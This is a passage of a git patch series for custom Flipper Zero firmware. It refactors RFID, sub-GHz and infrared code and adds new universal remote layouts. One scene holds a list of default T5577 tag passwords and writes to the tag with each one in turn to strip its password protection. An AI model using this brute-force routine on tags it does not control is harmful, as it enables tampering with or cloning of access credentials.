06a7990fb..8125971e9 100644 --- a/firmware/targets/f7/furi_hal/furi_hal_subghz.c +++ b/firmware/targets/f7/furi_hal/furi_hal_subghz.c @@ -7,6 +7,7 @@ #include #include #include +#include #include @@ -596,6 +597,8 @@ void furi_hal_subghz_start_async_rx(FuriHalSubGhzCaptureCallback callback, void* furi_hal_subghz_capture_callback = callback; furi_hal_subghz_capture_callback_context = context; + furi_hal_bus_enable(FuriHalBusTIM2); + // Timer: base LL_TIM_InitTypeDef TIM_InitStruct = {0}; TIM_InitStruct.Prescaler = 64 - 1; @@ -680,7 +683,7 @@ void furi_hal_subghz_stop_async_rx() { furi_hal_subghz_idle(); FURI_CRITICAL_ENTER(); - LL_TIM_DeInit(TIM2); + furi_hal_bus_disable(FuriHalBusTIM2); // Stop debug furi_hal_subghz_stop_debug(); @@ -859,6 +862,8 @@ bool furi_hal_subghz_start_async_tx(FuriHalSubGhzAsyncTxCallback callback, void* LL_DMA_EnableIT_HT(SUBGHZ_DMA_CH1_DEF); LL_DMA_EnableChannel(SUBGHZ_DMA_CH1_DEF); + furi_hal_bus_enable(FuriHalBusTIM2); + // Configure TIM2 LL_TIM_InitTypeDef TIM_InitStruct = {0}; TIM_InitStruct.Prescaler = 64 - 1; @@ -958,7 +963,7 @@ void furi_hal_subghz_stop_async_tx() { // Deinitialize Timer FURI_CRITICAL_ENTER(); - LL_TIM_DeInit(TIM2); + furi_hal_bus_disable(FuriHalBusTIM2); furi_hal_interrupt_set_isr(FuriHalInterruptIdTIM2, NULL, NULL); // Deinitialize DMA From e474b851bf027b1c11cf607fc1389d40e83decd9 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Mon, 29 May 2023 21:29:13 +0300 Subject: [PATCH 085/100] fix for new bus changes --- applications/main/lfrfid/helpers/rfid_writer.c | 9 +++------ firmware/targets/f7/furi_hal/furi_hal_infrared.c | 5 +++-- 2 files changed, 6 insertions(+), 8 deletions(-) diff --git a/applications/main/lfrfid/helpers/rfid_writer.c b/applications/main/lfrfid/helpers/rfid_writer.c index 7cc6326c4..8125a1b9d 100644 --- a/applications/main/lfrfid/helpers/rfid_writer.c +++ b/applications/main/lfrfid/helpers/rfid_writer.c @@ -2,9 +2,7 @@ #include void writer_start() { - furi_hal_rfid_tim_read(125000, 0.5); - furi_hal_rfid_pins_read(); - furi_hal_rfid_tim_read_start(); + furi_hal_rfid_tim_read_start(125000, 0.5); // do not ground the antenna furi_hal_rfid_pin_pull_release(); @@ -12,14 +10,13 @@ void writer_start() { void writer_stop() { furi_hal_rfid_tim_read_stop(); - furi_hal_rfid_tim_reset(); furi_hal_rfid_pins_reset(); } void write_gap(uint32_t gap_time) { - furi_hal_rfid_tim_read_stop(); + furi_hal_rfid_tim_read_pause(); furi_delay_us(gap_time * 8); - furi_hal_rfid_tim_read_start(); + furi_hal_rfid_tim_read_continue(); } void write_bit(T55xxTiming* t55xxtiming, bool value) { diff --git a/firmware/targets/f7/furi_hal/furi_hal_infrared.c b/firmware/targets/f7/furi_hal/furi_hal_infrared.c index b2d906923..e6fb69307 100644 --- a/firmware/targets/f7/furi_hal/furi_hal_infrared.c +++ b/firmware/targets/f7/furi_hal/furi_hal_infrared.c @@ -386,9 +386,9 @@ static void furi_hal_infrared_configure_tim_pwm_tx(uint32_t freq, float duty_cyc static void furi_hal_infrared_configure_tim_cmgr2_dma_tx(void) { LL_DMA_InitTypeDef dma_config = {0}; if(infrared_external_output) { - dma_config.PeriphOrM2MSrcAddress = (uint32_t) & (INFRARED_DMA_TIMER->CCMR1); + dma_config.PeriphOrM2MSrcAddress = (uint32_t) & (INFRARED_DMA_TIMER->CCMR1); } else { - dma_config.PeriphOrM2MSrcAddress = (uint32_t) & (INFRARED_DMA_TIMER->CCMR2); + dma_config.PeriphOrM2MSrcAddress = (uint32_t) & (INFRARED_DMA_TIMER->CCMR2); } dma_config.MemoryOrM2MDstAddress = (uint32_t)NULL; dma_config.Direction = LL_DMA_DIRECTION_MEMORY_TO_PERIPH; @@ -587,6 +587,7 @@ static void furi_hal_infrared_async_tx_free_resources(void) { furi_hal_gpio_init(&gpio_ext_pa7, GpioModeAnalog, GpioPullDown, GpioSpeedLow); } else { furi_hal_gpio_init(&gpio_infrared_tx, GpioModeAnalog, GpioPullDown, GpioSpeedLow); + } furi_hal_interrupt_set_isr(INFRARED_DMA_CH1_IRQ, NULL, NULL); furi_hal_interrupt_set_isr(INFRARED_DMA_CH2_IRQ, NULL, NULL); From a4c1ad22efca0a869ac1b1e90736d1005c32166b Mon Sep 17 00:00:00 2001 From: gid9798 <30450294+gid9798@users.noreply.github.com> Date: Mon, 29 May 2023 22:15:07 +0300 Subject: [PATCH 086/100] Removing duplicate code in t5577 passwd clear --- .../main/lfrfid/helpers/rfid_writer.c | 96 ------------------- .../main/lfrfid/helpers/rfid_writer.h | 26 ----- .../lfrfid/scenes/lfrfid_scene_clear_t5577.c | 31 ++---- firmware/targets/f7/api_symbols.csv | 3 +- lib/lfrfid/tools/t5577.c | 31 +++++- lib/lfrfid/tools/t5577.h | 2 + 6 files changed, 42 insertions(+), 147 deletions(-) delete mode 100644 applications/main/lfrfid/helpers/rfid_writer.c delete mode 100644 applications/main/lfrfid/helpers/rfid_writer.h diff --git a/applications/main/lfrfid/helpers/rfid_writer.c b/applications/main/lfrfid/helpers/rfid_writer.c deleted file mode 100644 index 7cc6326c4..000000000 --- a/applications/main/lfrfid/helpers/rfid_writer.c +++ /dev/null @@ -1,96 +0,0 @@ -#include "rfid_writer.h" -#include - -void writer_start() { - furi_hal_rfid_tim_read(125000, 0.5); - furi_hal_rfid_pins_read(); - furi_hal_rfid_tim_read_start(); - - // do not ground the antenna - furi_hal_rfid_pin_pull_release(); -} - -void writer_stop() { - furi_hal_rfid_tim_read_stop(); - furi_hal_rfid_tim_reset(); - furi_hal_rfid_pins_reset(); -} - -void write_gap(uint32_t gap_time) { - furi_hal_rfid_tim_read_stop(); - furi_delay_us(gap_time * 8); - furi_hal_rfid_tim_read_start(); -} - -void write_bit(T55xxTiming* t55xxtiming, bool value) { - if(value) { - furi_delay_us(t55xxtiming->data_1 * 8); - } else { - furi_delay_us(t55xxtiming->data_0 * 8); - } - write_gap(t55xxtiming->write_gap); -} - -void write_block( - T55xxTiming* t55xxtiming, - uint8_t page, - uint8_t block, - bool lock_bit, - uint32_t data, - bool password_enable, - uint32_t password) { - furi_delay_us(t55xxtiming->wait_time * 8); - - //client: https://github.com/Proxmark/proxmark3/blob/6116334485ca77343eda51c557cdc81032afcf38/client/cmdlft55xx.c#L944 - //hardware: https://github.com/Proxmark/proxmark3/blob/555fa197730c061bbf0ab01334e99bc47fb3dc06/armsrc/lfops.c#L1465 - //hardware: https://github.com/Proxmark/proxmark3/blob/555fa197730c061bbf0ab01334e99bc47fb3dc06/armsrc/lfops.c#L1396 - - // start gap - write_gap(t55xxtiming->start_gap); - - // opcode - switch(page) { - case 0: - write_bit(t55xxtiming, 1); - write_bit(t55xxtiming, 0); - break; - case 1: - write_bit(t55xxtiming, 1); - write_bit(t55xxtiming, 1); - break; - default: - furi_check(false); - break; - } - - // password - if(password_enable) { - for(uint8_t i = 0; i < 32; i++) { - write_bit(t55xxtiming, (password >> (31 - i)) & 1); - } - } - - // lock bit - write_bit(t55xxtiming, lock_bit); - - // data - for(uint8_t i = 0; i < 32; i++) { - write_bit(t55xxtiming, (data >> (31 - i)) & 1); - } - - // block address - write_bit(t55xxtiming, (block >> 2) & 1); - write_bit(t55xxtiming, (block >> 1) & 1); - write_bit(t55xxtiming, (block >> 0) & 1); - - furi_delay_us(t55xxtiming->program * 8); - - furi_delay_us(t55xxtiming->wait_time * 8); - write_reset(t55xxtiming); -} - -void write_reset(T55xxTiming* t55xxtiming) { - write_gap(t55xxtiming->start_gap); - write_bit(t55xxtiming, 1); - write_bit(t55xxtiming, 0); -} \ No newline at end of file diff --git a/applications/main/lfrfid/helpers/rfid_writer.h b/applications/main/lfrfid/helpers/rfid_writer.h deleted file mode 100644 index 2b97bd321..000000000 --- a/applications/main/lfrfid/helpers/rfid_writer.h +++ /dev/null @@ -1,26 +0,0 @@ -#include -#include - -typedef struct { - uint16_t wait_time; - uint8_t start_gap; - uint8_t write_gap; - uint8_t data_0; - uint8_t data_1; - uint16_t program; -} T55xxTiming; - -void writer_start(); -void writer_stop(); -void write_gap(uint32_t gap_time); -void write_bit(T55xxTiming* t55xxtiming, bool value); -void write_block( - T55xxTiming* t55xxtiming, - uint8_t page, - uint8_t block, - bool lock_bit, - uint32_t data, - bool password_enable, - uint32_t password); - -void write_reset(T55xxTiming* t55xxtiming); \ No newline at end of file diff --git a/applications/main/lfrfid/scenes/lfrfid_scene_clear_t5577.c b/applications/main/lfrfid/scenes/lfrfid_scene_clear_t5577.c index 3b9b41909..08636e036 100644 --- a/applications/main/lfrfid/scenes/lfrfid_scene_clear_t5577.c +++ b/applications/main/lfrfid/scenes/lfrfid_scene_clear_t5577.c @@ -1,17 +1,7 @@ #include "../lfrfid_i.h" -#include "../helpers/rfid_writer.h" - -static void writer_initialize(T55xxTiming* t55xxtiming) { - t55xxtiming->wait_time = 400; - t55xxtiming->start_gap = 30; - t55xxtiming->write_gap = 18; - t55xxtiming->data_0 = 24; - t55xxtiming->data_1 = 56; - t55xxtiming->program = 700; -} +#define TAG "Clear T5577" static void lfrfid_clear_t5577_password_and_config_to_EM(LfRfid* app) { - T55xxTiming* t55xxtiming = malloc(sizeof(T55xxTiming)); Popup* popup = app->popup; char curr_buf[32] = {}; //TODO: use .txt file in resources for passwords. @@ -35,30 +25,27 @@ static void lfrfid_clear_t5577_password_and_config_to_EM(LfRfid* app) { 0x07d7bb0b, 0x9636ef8f, 0xb5f44686, 0x9E3779B9, 0xC6EF3720, 0x7854794A, 0xF1EA5EED, 0x69314718, 0x57721566, 0x93C467E3, 0x27182818, 0x50415353}; const uint8_t default_passwords_len = sizeof(default_passwords) / sizeof(uint32_t); - const uint32_t em_config_block_data = - 0b00000000000101001000000001000000; //no pwd&aor config block - - writer_initialize(t55xxtiming); popup_set_header(popup, "Removing\npassword", 90, 36, AlignCenter, AlignCenter); popup_set_icon(popup, 0, 3, &I_RFIDDolphinSend_97x61); popup_set_text(popup, curr_buf, 90, 56, AlignCenter, AlignCenter); notification_message(app->notifications, &sequence_blink_start_magenta); + LFRFIDT5577 data = { + .block[0] = 0b00000000000101001000000001000000, + .blocks_to_write = 1, + }; + for(uint8_t i = 0; i < default_passwords_len; i++) { - FURI_CRITICAL_ENTER(); snprintf(curr_buf, sizeof(curr_buf), "Pass %d of %d", i, default_passwords_len); view_dispatcher_switch_to_view(app->view_dispatcher, LfRfidViewPopup); - writer_start(); - write_block(t55xxtiming, 0, 0, false, em_config_block_data, true, default_passwords[i]); - write_reset(t55xxtiming); - writer_stop(); - FURI_CRITICAL_EXIT(); + + t5577_write_with_pass(&data, default_passwords[i]); furi_delay_ms(8); } + notification_message(app->notifications, &sequence_blink_stop); popup_reset(app->popup); - free(t55xxtiming); } void lfrfid_scene_clear_t5577_on_enter(void* context) { diff --git a/firmware/targets/f7/api_symbols.csv b/firmware/targets/f7/api_symbols.csv index ae38d0c84..bc9ce6650 100644 --- a/firmware/targets/f7/api_symbols.csv +++ b/firmware/targets/f7/api_symbols.csv @@ -1,5 +1,5 @@ entry,status,name,type,params -Version,+,27.0,, +Version,+,27.1,, Header,+,applications/services/bt/bt_service/bt.h,, Header,+,applications/services/cli/cli.h,, Header,+,applications/services/cli/cli_vcp.h,, @@ -3367,6 +3367,7 @@ Function,+,submenu_set_header,void,"Submenu*, const char*" Function,+,submenu_set_selected_item,void,"Submenu*, uint32_t" Function,-,system,int,const char* Function,+,t5577_write,void,LFRFIDT5577* +Function,-,t5577_write_with_pass,void,"LFRFIDT5577*, uint32_t" Function,-,tan,double,double Function,-,tanf,float,float Function,-,tanh,double,double diff --git a/lib/lfrfid/tools/t5577.c b/lib/lfrfid/tools/t5577.c index 3444afea3..686c1aa6a 100644 --- a/lib/lfrfid/tools/t5577.c +++ b/lib/lfrfid/tools/t5577.c @@ -54,7 +54,12 @@ static void t5577_write_reset() { t5577_write_bit(0); } -static void t5577_write_block(uint8_t block, bool lock_bit, uint32_t data) { +static void t5577_write_block_pass( + uint8_t block, + bool lock_bit, + uint32_t data, + bool with_pass, + uint32_t password) { furi_delay_us(T5577_TIMING_WAIT_TIME * 8); // start gap @@ -63,6 +68,13 @@ static void t5577_write_block(uint8_t block, bool lock_bit, uint32_t data) { // opcode for page 0 t5577_write_opcode(T5577_OPCODE_PAGE_0); + // password + if(with_pass) { + for(uint8_t i = 0; i < 32; i++) { + t5577_write_bit((password >> (31 - i)) & 1); + } + } + // lock bit t5577_write_bit(lock_bit); @@ -82,11 +94,26 @@ static void t5577_write_block(uint8_t block, bool lock_bit, uint32_t data) { t5577_write_reset(); } +static void t5577_write_block_simple(uint8_t block, bool lock_bit, uint32_t data) { + t5577_write_block_pass(block, lock_bit, data, false, 0); +} + void t5577_write(LFRFIDT5577* data) { t5577_start(); FURI_CRITICAL_ENTER(); for(size_t i = 0; i < data->blocks_to_write; i++) { - t5577_write_block(i, false, data->block[i]); + t5577_write_block_simple(i, false, data->block[i]); + } + t5577_write_reset(); + FURI_CRITICAL_EXIT(); + t5577_stop(); +} + +void t5577_write_with_pass(LFRFIDT5577* data, uint32_t password) { + t5577_start(); + FURI_CRITICAL_ENTER(); + for(size_t i = 0; i < data->blocks_to_write; i++) { + t5577_write_block_pass(0, false, data->block[i], true, password); } t5577_write_reset(); FURI_CRITICAL_EXIT(); diff --git a/lib/lfrfid/tools/t5577.h b/lib/lfrfid/tools/t5577.h index 6d53b5dc7..c77984476 100644 --- a/lib/lfrfid/tools/t5577.h +++ b/lib/lfrfid/tools/t5577.h @@ -51,6 +51,8 @@ typedef struct { */ void t5577_write(LFRFIDT5577* data); +void t5577_write_with_pass(LFRFIDT5577* data, uint32_t password); + #ifdef __cplusplus } #endif \ No newline at end of file From 70cda48632139e246c549903f3addf927da2bee3 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Mon, 29 May 2023 22:44:05 +0300 Subject: [PATCH 087/100] Change fw origin --- fbt_options.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fbt_options.py b/fbt_options.py index a6ae0925f..561b818d4 100644 --- a/fbt_options.py +++ b/fbt_options.py @@ -3,7 +3,7 @@ import posixpath # For more details on these options, run 'fbt -h' -FIRMWARE_ORIGIN = "Official" +FIRMWARE_ORIGIN = "Unleashed" # Default hardware target TARGET_HW = 7 From 2e70470d1233d89671998e1416087f1d5555ecaf Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Mon, 29 May 2023 23:12:38 +0300 Subject: [PATCH 088/100] remove unused var --- applications/external/bad_bt/application.fam | 1 - 1 file changed, 1 deletion(-) diff --git a/applications/external/bad_bt/application.fam b/applications/external/bad_bt/application.fam index ddd8eee19..a3544b997 100644 --- a/applications/external/bad_bt/application.fam +++ b/applications/external/bad_bt/application.fam @@ -13,5 +13,4 @@ App( fap_category="Tools", fap_icon="images/badbt_10px.png", fap_icon_assets="images", - fap_icon_assets_symbol="bad_bt", ) From 121526f52173b66e736cc355d70fb4fba1947dcd Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Mon, 29 May 2023 23:50:13 +0300 Subject: [PATCH 089/100] Use AC Remote from OFW, same for Audio remote ASSETS update needed, will be done soon --- .../scenes/infrared_scene_universal_ac.c | 54 +- .../scenes/infrared_scene_universal_audio.c | 75 +- assets/icons/Infrared/CoolHi_25x27.png | Bin 0 -> 3680 bytes assets/icons/Infrared/CoolHi_hvr_25x27.png | Bin 0 -> 3669 bytes assets/icons/Infrared/CoolLo_25x27.png | Bin 0 -> 3676 bytes assets/icons/Infrared/CoolLo_hvr_25x27.png | Bin 0 -> 3657 bytes assets/icons/Infrared/Dehumidify_25x27.png | Bin 0 -> 3665 bytes .../icons/Infrared/Dehumidify_hvr_25x27.png | Bin 0 -> 3652 bytes assets/icons/Infrared/HeatHi_25x27.png | Bin 0 -> 3676 bytes assets/icons/Infrared/HeatHi_hvr_25x27.png | Bin 0 -> 3661 bytes assets/icons/Infrared/HeatLo_25x27.png | Bin 0 -> 3670 bytes assets/icons/Infrared/HeatLo_hvr_25x27.png | Bin 0 -> 3655 bytes assets/icons/Infrared/Off_25x27.png | Bin 0 -> 9530 bytes assets/icons/Infrared/Off_hvr_25x27.png | Bin 0 -> 8460 bytes assets/icons/Infrared/Pause_25x27.png | Bin 0 -> 3634 bytes assets/icons/Infrared/Pause_hvr_25x27.png | Bin 0 -> 3623 bytes assets/icons/Infrared/Play_25x27.png | Bin 0 -> 3653 bytes assets/icons/Infrared/Play_hvr_25x27.png | Bin 0 -> 3643 bytes assets/icons/Infrared/Swing_25x27.png | Bin 1706 -> 0 bytes assets/icons/Infrared/Swing_hvr_25x27.png | Bin 1686 -> 0 bytes assets/icons/Infrared/TrackNext_25x27.png | Bin 0 -> 3651 bytes assets/icons/Infrared/TrackNext_hvr_25x27.png | Bin 0 -> 3639 bytes assets/icons/Infrared/TrackPrev_25x27.png | Bin 0 -> 3657 bytes assets/icons/Infrared/TrackPrev_hvr_25x27.png | Bin 0 -> 3644 bytes assets/resources/infrared/assets/ac.ir | 2050 +++-------------- 25 files changed, 437 insertions(+), 1742 deletions(-) create mode 100644 assets/icons/Infrared/CoolHi_25x27.png create mode 100644 assets/icons/Infrared/CoolHi_hvr_25x27.png create mode 100644 assets/icons/Infrared/CoolLo_25x27.png create mode 100644 assets/icons/Infrared/CoolLo_hvr_25x27.png create mode 100644 assets/icons/Infrared/Dehumidify_25x27.png create mode 100644 assets/icons/Infrared/Dehumidify_hvr_25x27.png create mode 100644 assets/icons/Infrared/HeatHi_25x27.png create mode 100644 assets/icons/Infrared/HeatHi_hvr_25x27.png create mode 100644 assets/icons/Infrared/HeatLo_25x27.png create mode 100644 assets/icons/Infrared/HeatLo_hvr_25x27.png create mode 100644 assets/icons/Infrared/Off_25x27.png create mode 100644 assets/icons/Infrared/Off_hvr_25x27.png create mode 100644 assets/icons/Infrared/Pause_25x27.png create mode 100644 assets/icons/Infrared/Pause_hvr_25x27.png create mode 100644 assets/icons/Infrared/Play_25x27.png create mode 100644 assets/icons/Infrared/Play_hvr_25x27.png delete mode 100644 assets/icons/Infrared/Swing_25x27.png delete mode 100644 assets/icons/Infrared/Swing_hvr_25x27.png create mode 100644 assets/icons/Infrared/TrackNext_25x27.png create mode 100644 assets/icons/Infrared/TrackNext_hvr_25x27.png create mode 100644 assets/icons/Infrared/TrackPrev_25x27.png create mode 100644 assets/icons/Infrared/TrackPrev_hvr_25x27.png diff --git a/applications/main/infrared/scenes/infrared_scene_universal_ac.c b/applications/main/infrared/scenes/infrared_scene_universal_ac.c index 68a6ea942..58f067735 100644 --- a/applications/main/infrared/scenes/infrared_scene_universal_ac.c +++ b/applications/main/infrared/scenes/infrared_scene_universal_ac.c @@ -11,7 +11,6 @@ void infrared_scene_universal_ac_on_enter(void* context) { infrared_brute_force_set_db_filename(brute_force, EXT_PATH("infrared/assets/ac.ir")); - //TODO Improve A/C universal remote button_panel_reserve(button_panel, 2, 3); uint32_t i = 0; button_panel_add_item( @@ -20,77 +19,74 @@ void infrared_scene_universal_ac_on_enter(void* context) { 0, 0, 3, - 24, - &I_Power_25x27, - &I_Power_hvr_25x27, + 22, + &I_Off_25x27, + &I_Off_hvr_25x27, infrared_scene_universal_common_item_callback, context); - infrared_brute_force_add_record(brute_force, i++, "POWER"); + infrared_brute_force_add_record(brute_force, i++, "Off"); button_panel_add_item( button_panel, i, 1, 0, 36, - 24, - &I_Mode_25x27, - &I_Mode_hvr_25x27, + 22, + &I_Dehumidify_25x27, + &I_Dehumidify_hvr_25x27, infrared_scene_universal_common_item_callback, context); - infrared_brute_force_add_record(brute_force, i++, "MODE"); + infrared_brute_force_add_record(brute_force, i++, "Dh"); button_panel_add_item( button_panel, i, 0, 1, 3, - 66, - &I_Vol_up_25x27, - &I_Vol_up_hvr_25x27, + 59, + &I_CoolHi_25x27, + &I_CoolHi_hvr_25x27, infrared_scene_universal_common_item_callback, context); - infrared_brute_force_add_record(brute_force, i++, "TEMP+"); + infrared_brute_force_add_record(brute_force, i++, "Cool_hi"); button_panel_add_item( button_panel, i, 1, 1, 36, - 66, - &I_Vol_down_25x27, - &I_Vol_down_hvr_25x27, + 59, + &I_HeatHi_25x27, + &I_HeatHi_hvr_25x27, infrared_scene_universal_common_item_callback, context); - infrared_brute_force_add_record(brute_force, i++, "TEMP-"); + infrared_brute_force_add_record(brute_force, i++, "Heat_hi"); button_panel_add_item( button_panel, i, 0, 2, 3, - 98, - &I_Swing_25x27, - &I_Swing_hvr_25x27, + 91, + &I_CoolLo_25x27, + &I_CoolLo_hvr_25x27, infrared_scene_universal_common_item_callback, context); - infrared_brute_force_add_record(brute_force, i++, "SWING"); + infrared_brute_force_add_record(brute_force, i++, "Cool_lo"); button_panel_add_item( button_panel, i, 1, 2, 36, - 98, - &I_Timer_25x27, - &I_Timer_hvr_25x27, + 91, + &I_HeatLo_25x27, + &I_HeatLo_hvr_25x27, infrared_scene_universal_common_item_callback, context); - infrared_brute_force_add_record(brute_force, i++, "TIMER"); + infrared_brute_force_add_record(brute_force, i++, "Heat_lo"); - button_panel_add_label(button_panel, 6, 11, FontPrimary, "AC remote"); - button_panel_add_label(button_panel, 20, 63, FontSecondary, "Temp"); - button_panel_add_label(button_panel, 8, 23, FontSecondary, "Pwr"); - button_panel_add_label(button_panel, 40, 23, FontSecondary, "Mod"); + button_panel_add_label(button_panel, 6, 10, FontPrimary, "AC remote"); view_set_orientation(view_stack_get_view(infrared->view_stack), ViewOrientationVertical); view_dispatcher_switch_to_view(infrared->view_dispatcher, InfraredViewStack); diff --git a/applications/main/infrared/scenes/infrared_scene_universal_audio.c b/applications/main/infrared/scenes/infrared_scene_universal_audio.c index d3b7e083b..00c86fff4 100644 --- a/applications/main/infrared/scenes/infrared_scene_universal_audio.c +++ b/applications/main/infrared/scenes/infrared_scene_universal_audio.c @@ -10,8 +10,8 @@ void infrared_scene_universal_audio_on_enter(void* context) { InfraredBruteForce* brute_force = infrared->brute_force; infrared_brute_force_set_db_filename(brute_force, EXT_PATH("infrared/assets/audio.ir")); - //TODO Improve Audio universal remote - button_panel_reserve(button_panel, 2, 2); + + button_panel_reserve(button_panel, 2, 4); uint32_t i = 0; button_panel_add_item( button_panel, @@ -19,51 +19,98 @@ void infrared_scene_universal_audio_on_enter(void* context) { 0, 0, 3, - 19, + 11, &I_Power_25x27, &I_Power_hvr_25x27, infrared_scene_universal_common_item_callback, context); - infrared_brute_force_add_record(brute_force, i++, "POWER"); + infrared_brute_force_add_record(brute_force, i++, "Power"); button_panel_add_item( button_panel, i, 1, 0, 36, - 19, + 11, &I_Mute_25x27, &I_Mute_hvr_25x27, infrared_scene_universal_common_item_callback, context); - infrared_brute_force_add_record(brute_force, i++, "MUTE"); + infrared_brute_force_add_record(brute_force, i++, "Mute"); button_panel_add_item( button_panel, i, 0, 1, 3, - 64, - &I_Vol_up_25x27, - &I_Vol_up_hvr_25x27, + 41, + &I_Play_25x27, + &I_Play_hvr_25x27, infrared_scene_universal_common_item_callback, context); - infrared_brute_force_add_record(brute_force, i++, "VOL+"); + infrared_brute_force_add_record(brute_force, i++, "Play"); button_panel_add_item( button_panel, i, 1, 1, 36, - 64, + 41, + &I_Pause_25x27, + &I_Pause_hvr_25x27, + infrared_scene_universal_common_item_callback, + context); + infrared_brute_force_add_record(brute_force, i++, "Pause"); + button_panel_add_item( + button_panel, + i, + 0, + 2, + 3, + 71, + &I_TrackPrev_25x27, + &I_TrackPrev_hvr_25x27, + infrared_scene_universal_common_item_callback, + context); + infrared_brute_force_add_record(brute_force, i++, "Prev"); + button_panel_add_item( + button_panel, + i, + 1, + 2, + 36, + 71, + &I_TrackNext_25x27, + &I_TrackNext_hvr_25x27, + infrared_scene_universal_common_item_callback, + context); + infrared_brute_force_add_record(brute_force, i++, "Next"); + button_panel_add_item( + button_panel, + i, + 0, + 3, + 3, + 101, &I_Vol_down_25x27, &I_Vol_down_hvr_25x27, infrared_scene_universal_common_item_callback, context); - infrared_brute_force_add_record(brute_force, i++, "VOL-"); + infrared_brute_force_add_record(brute_force, i++, "Vol_dn"); + button_panel_add_item( + button_panel, + i, + 1, + 3, + 36, + 101, + &I_Vol_up_25x27, + &I_Vol_up_hvr_25x27, + infrared_scene_universal_common_item_callback, + context); + infrared_brute_force_add_record(brute_force, i++, "Vol_up"); - button_panel_add_label(button_panel, 5, 11, FontSecondary, "Audio remote"); - button_panel_add_label(button_panel, 17, 60, FontSecondary, "Volume"); + button_panel_add_label(button_panel, 1, 8, FontPrimary, "Mus. remote"); view_set_orientation(view_stack_get_view(infrared->view_stack), ViewOrientationVertical); view_dispatcher_switch_to_view(infrared->view_dispatcher, InfraredViewStack); diff --git a/assets/icons/Infrared/CoolHi_25x27.png b/assets/icons/Infrared/CoolHi_25x27.png new file mode 100644 index 0000000000000000000000000000000000000000..cea29a5b9e764c88ae56f305368568d04e544876 GIT binary patch literal 3680 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 